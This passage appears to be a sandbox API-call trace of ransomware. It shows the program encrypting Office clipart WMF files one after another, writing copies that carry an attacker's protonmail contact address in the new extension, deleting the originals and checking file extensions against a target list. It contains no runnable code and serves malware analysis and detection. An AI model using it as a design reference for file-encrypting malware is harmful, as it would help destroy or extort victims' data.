	[0171.926] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x4fe0, lpOverlapped=0x0) returned 1
	[0171.927] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.927] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.927] SetEndOfFile (hFile=0x4a4) returned 1
	[0172.130] CloseHandle (hObject=0x4a4) returned 1
	[0172.130] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.130] SetEndOfFile (hFile=0x4a8) returned 1
	[0172.133] CloseHandle (hObject=0x4a8) returned 1
	[0172.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1
	[0172.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.136] lstrlenW (lpString=".doc") returned 4
	[0172.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.136] lstrlenW (lpString=".docx") returned 5
	[0172.136] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.136] lstrlenW (lpString=".pdf") returned 4
	[0172.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.136] lstrlenW (lpString=".xls") returned 4
	[0172.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.136] lstrlenW (lpString=".xlsx") returned 5
	[0172.136] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.136] lstrlenW (lpString=".ppt") returned 4
	[0172.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.136] lstrlenW (lpString=".zip") returned 4
	[0172.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.136] lstrlenW (lpString=".rar") returned 4
	[0172.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.136] lstrlenW (lpString=".bz2") returned 4
	[0172.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.136] lstrlenW (lpString=".7z") returned 3
	[0172.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.136] lstrlenW (lpString=".dbf") returned 4
	[0172.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.136] lstrlenW (lpString=".1cd") returned 4
	[0172.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.137] lstrlenW (lpString=".jpg") returned 4
	[0172.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.137] lstrlenW (lpString=".doc") returned 4
	[0172.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.137] lstrlenW (lpString=".docx") returned 5
	[0172.137] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.137] lstrlenW (lpString=".pdf") returned 4
	[0172.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.137] lstrlenW (lpString=".xls") returned 4
	[0172.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.137] lstrlenW (lpString=".xlsx") returned 5
	[0172.137] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.137] lstrlenW (lpString=".ppt") returned 4
	[0172.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.137] lstrlenW (lpString=".zip") returned 4
	[0172.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.137] lstrlenW (lpString=".rar") returned 4
	[0172.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.137] lstrlenW (lpString=".bz2") returned 4
	[0172.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.137] lstrlenW (lpString=".7z") returned 3
	[0172.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.137] lstrlenW (lpString=".dbf") returned 4
	[0172.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.137] lstrlenW (lpString=".1cd") returned 4
	[0172.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0172.138] lstrlenW (lpString=".jpg") returned 4
	[0172.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.138] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.138] lstrlenW (lpString="J0105504.WMF") returned 12
	[0172.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0172.139] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4148) returned 1
	[0172.139] CloseHandle (hObject=0x4a8) returned 1
	[0172.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220
	[0172.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0172.140] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.140] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0172.141] GetLastError () returned 0x0
	[0172.141] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1034, lpOverlapped=0x0) returned 1
	[0172.143] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1040, lpOverlapped=0x0) returned 1
	[0172.144] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.144] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.144] SetEndOfFile (hFile=0x4a4) returned 1
	[0172.144] CloseHandle (hObject=0x4a4) returned 1
	[0172.144] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.144] SetEndOfFile (hFile=0x4a8) returned 1
	[0172.147] CloseHandle (hObject=0x4a8) returned 1
	[0172.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1
	[0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.149] lstrlenW (lpString=".doc") returned 4
	[0172.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.149] lstrlenW (lpString=".docx") returned 5
	[0172.149] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0172.149] lstrlenW (lpString=".pdf") returned 4
	[0172.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.149] lstrlenW (lpString=".xls") returned 4
	[0172.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.149] lstrlenW (lpString=".xlsx") returned 5
	[0172.149] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0172.149] lstrlenW (lpString=".ppt") returned 4
	[0172.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.149] lstrlenW (lpString=".zip") returned 4
	[0172.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.149] lstrlenW (lpString=".rar") returned 4
	[0172.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.149] lstrlenW (lpString=".bz2") returned 4
	[0172.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.149] lstrlenW (lpString=".7z") returned 3
	[0172.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.149] lstrlenW (lpString=".dbf") returned 4
	[0172.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.149] lstrlenW (lpString=".1cd") returned 4
	[0172.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.150] lstrlenW (lpString=".jpg") returned 4
	[0172.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.150] lstrlenW (lpString=".doc") returned 4
	[0172.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.150] lstrlenW (lpString=".docx") returned 5
	[0172.150] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0172.150] lstrlenW (lpString=".pdf") returned 4
	[0172.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.150] lstrlenW (lpString=".xls") returned 4
	[0172.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.150] lstrlenW (lpString=".xlsx") returned 5
	[0172.150] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0172.150] lstrlenW (lpString=".ppt") returned 4
	[0172.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.150] lstrlenW (lpString=".zip") returned 4
	[0172.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.150] lstrlenW (lpString=".rar") returned 4
	[0172.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.150] lstrlenW (lpString=".bz2") returned 4
	[0172.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.150] lstrlenW (lpString=".7z") returned 3
	[0172.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.150] lstrlenW (lpString=".dbf") returned 4
	[0172.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.150] lstrlenW (lpString=".1cd") returned 4
	[0172.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0172.151] lstrlenW (lpString=".jpg") returned 4
	[0172.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.151] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.151] lstrlenW (lpString="J0105506.WMF") returned 12
	[0172.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0172.152] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=2912) returned 1
	[0172.152] CloseHandle (hObject=0x4a8) returned 1
	[0172.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220
	[0172.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0172.152] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.152] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0172.153] GetLastError () returned 0x0
	[0172.153] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xb60, lpOverlapped=0x0) returned 1
	[0172.157] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xb70, lpOverlapped=0x0) returned 1
	[0172.158] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.158] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.159] SetEndOfFile (hFile=0x4a4) returned 1
	[0172.159] CloseHandle (hObject=0x4a4) returned 1
	[0172.159] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.159] SetEndOfFile (hFile=0x4a8) returned 1
	[0172.163] CloseHandle (hObject=0x4a8) returned 1
	[0172.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1
	[0172.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.164] lstrlenW (lpString=".doc") returned 4
	[0172.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.164] lstrlenW (lpString=".docx") returned 5
	[0172.164] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0172.164] lstrlenW (lpString=".pdf") returned 4
	[0172.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.164] lstrlenW (lpString=".xls") returned 4
	[0172.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.164] lstrlenW (lpString=".xlsx") returned 5
	[0172.164] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0172.164] lstrlenW (lpString=".ppt") returned 4
	[0172.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.164] lstrlenW (lpString=".zip") returned 4
	[0172.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.164] lstrlenW (lpString=".rar") returned 4
	[0172.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.164] lstrlenW (lpString=".bz2") returned 4
	[0172.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.165] lstrlenW (lpString=".7z") returned 3
	[0172.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.165] lstrlenW (lpString=".dbf") returned 4
	[0172.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.165] lstrlenW (lpString=".1cd") returned 4
	[0172.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.165] lstrlenW (lpString=".jpg") returned 4
	[0172.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.165] lstrlenW (lpString=".doc") returned 4
	[0172.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.165] lstrlenW (lpString=".docx") returned 5
	[0172.165] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0172.165] lstrlenW (lpString=".pdf") returned 4
	[0172.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.165] lstrlenW (lpString=".xls") returned 4
	[0172.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.165] lstrlenW (lpString=".xlsx") returned 5
	[0172.165] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0172.165] lstrlenW (lpString=".ppt") returned 4
	[0172.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.165] lstrlenW (lpString=".zip") returned 4
	[0172.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.165] lstrlenW (lpString=".rar") returned 4
	[0172.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.166] lstrlenW (lpString=".bz2") returned 4
	[0172.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.166] lstrlenW (lpString=".7z") returned 3
	[0172.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.166] lstrlenW (lpString=".dbf") returned 4
	[0172.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.166] lstrlenW (lpString=".1cd") returned 4
	[0172.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0172.166] lstrlenW (lpString=".jpg") returned 4
	[0172.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.166] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.166] lstrlenW (lpString="J0105520.WMF") returned 12
	[0172.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0172.287] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=31812) returned 1
	[0172.287] CloseHandle (hObject=0x54c) returned 1
	[0172.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220
	[0172.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.134] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.134] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.136] GetLastError () returned 0x0
	[0173.136] ReadFile (in: hFile=0x554, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x7c44, lpOverlapped=0x0) returned 1
